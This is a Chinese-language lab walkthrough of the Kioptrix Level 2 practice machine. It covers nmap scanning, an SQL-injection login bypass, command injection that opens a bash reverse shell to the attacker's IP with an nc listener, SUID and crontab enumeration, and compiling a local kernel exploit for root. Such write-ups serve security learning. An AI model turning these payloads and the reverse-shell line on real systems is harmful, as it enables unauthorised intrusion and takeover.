Kioptrix Level 2
Reference:https://www.bilibili.com/video/BV1Hg4y1V71P/?spm_id_from=333.788&vd_source=f087e6be527de705b4179c540f27e10d
信息收集
探测靶机ip
nmap 192.168.47.1/24 -sn -min-rate 2222 -r
经过推断,192.168.47.129为靶机的IP地址
探测端口
nmap 192.168.47.129 -p- -min-rate 8888 -r -PN -oA nmap_results/port_scan
服务探测
cat nmap_results/port_scan.nmap | grep open | awk -F '/' '{print $1}' | tr '\n' ','
-grep命令用于查找文件里符合条件的字符串或正则表达式。
-awk 用来进行文本分析并执行脚本
-tr 文本替换
该命令是为了将所有扫描的端口利用脚本得到,为了下一步扫描
nmap -sV -sC -O --version-all -oA nmap_results/service_info 192.168.46.129 -p 22,80,111,443,631,836,3306
-sV 探测版本
-sC 探测脚本 等价于 -script-defult
--version-all 尝试每一个强度
-p 指定端口
基本漏洞检测
nmap 192.168.46.129 -script=vuln -oA nmap_results/vuln_info -p 22,80,111,443,631,836,3306
渗透开始
80端口
尝试用万能密码`admin' or '1' = '1
成功登录,观察不难发现可能存在命令注入
开始反弹shell
||bash -i >& /dev/tcp/192.168.47.133/2233 0>&1
nc -lvvp 2233
bash
: 表示要执行的命令是Bash,即Bourne Again SHell,是一种常见的Unix和Linux操作系统的命令行解释器。-i
: 这个选项表示将Bash交互式运行,即打开一个交互式Shell会话,使得用户可以与Shell进行交互。>&
: 这是重定向符号,用于将输出重定向到指定的位置。/dev/tcp/192.168.47.133/2233
: 这是将输出重定向到的位置。/dev/tcp/
是Bash的一个特殊设备,可以用于进行网络通信。在这里,它表示连接到指定的IP地址(192.168.47.133)和端口号(2233)。0>&1
: 这是将输入重定向符号,用于将标准输入(文件描述符0)重定向到标准输出(文件描述符1)。这样做的目的是将用户输入的命令发送到远程连接的主机。
成功拿到shell
继续信息收集
查看计划任务
cat /etc/crontab
查看Setuid权限文件
find / -perm -u=s -type f 2>/dev/null
-perm
: 这是find
命令的一个选项,用于指定要匹配的文件权限。-u=s
: 这是-perm
选项的参数部分,表示要匹配设置了Setuid权限的文件。Setuid权限是一种特殊权限,当用户执行具有Setuid权限的可执行文件时,会以文件所有者的权限来执行,而不是执行用户自己的权限。
查看内核和发行版信息
使用脚本
别问我为什么用第一个(因为视频里用的第一个,其他的暂时未尝试)
本地起http服务方便下载代码
python -m http.server --bind 0.0.0.0 8080
下载代码并执行
绷,这里不知道为什么放在8000 8080端口都无法下载,最后改到8899端口才下载好
订正:应该和端口没有关系,可能是一开始的目录权限不对。在shell中切换到/tmp目录下重新下载就成功了
gcc -Wall 9545.c -o 9545
./9545
标签:Kioptrix,Setuid,nmap,端口,results,192.168,初探,靶场,权限
From: https://www.cnblogs.com/J4m-OvO/p/17644618.html